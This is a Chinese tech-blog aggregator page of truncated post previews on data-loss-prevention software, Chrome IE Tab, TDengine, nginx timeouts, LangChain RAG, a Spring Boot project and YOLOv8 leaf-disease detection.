IPguard与Ping32全面对比——选择最适合企业的数据安全解决方案

在如今数据安全威胁日益加剧的时代&#xff0c;企业必须高度重视保护敏感数据与信息。因此&#xff0c;选择一款合适的数据安全软件&#xff0c;尤其是防泄密和信息保护软件&#xff0c;显得尤为重要。在市场上&#xff0c;有两款备受企业青睐的数据安全解决方案——IPguard和P…

Chrome使用IE内核

Chrome使用IE内核 1.下载扩展程序IE Tab 2.将下载好的IE Tab扩展程序拖拽到扩展程序界面&#xff0c;之后重启chrome浏览器即可

秒级响应与低成本实现!TDengine 助力多元量化交易系统的背后故事 | 征文

小T导读&#xff1a;在不久前的“2024&#xff0c;我想和 TDengine 谈谈”征文活动中&#xff0c;我们收到了许多精彩的投稿&#xff0c;反映了用户与 TDengine 之间的真实故事和独特见解。今天&#xff0c;我们很高兴地分享此次活动的第一名作品。这篇文章详细阐述了广西多元量…

【nginx】client timed out和send_timeout的大小设置

websocket连接会断开&#xff0c;抓包检查后发现是中间的代理服务器nginx断开的&#xff0c;同时将后端和浏览器都断开了。将nginx日志调到debug级别后&#xff0c;有下面的断开信息。 [info] 125923#125923: *34 client timed out (110: Connection timed out) while proxyin…

什么是RAG? LangChain的RAG实践!

1. 什么是RAG RAG的概念最先在2020年由Facebook的研究人员在论文《Retrieval-Augmented Generation for Knowledge-Intensive NLP Tasks》中提出来。在这篇论文中他们提出了两种记忆类型&#xff1a; 基于预训练模型&#xff08;当时LLM的概念不像现在这么如日中天&#xff0…

A027-基于Spring Boot的农事管理系统

&#x1f64a;作者简介&#xff1a;在校研究生&#xff0c;拥有计算机专业的研究生开发团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339; 赠送计算机毕业设计600…

13. 基于yolov8苹果叶片病害识别系统(含UI界、Python代码、训练好的模型、数据集)

项目介绍 项目中所用到的算法模型和数据集等信息如下&#xff1a; 算法模型&#xff1a;     yolov8、yolov8 SE注意力机制 或 yolov5、yolov5 SE注意力机制 &#xff0c; 直接提供最少两个训练好的模型。模型十分重要&#xff0c;因为有些同学的电脑没有 GPU&#xff0…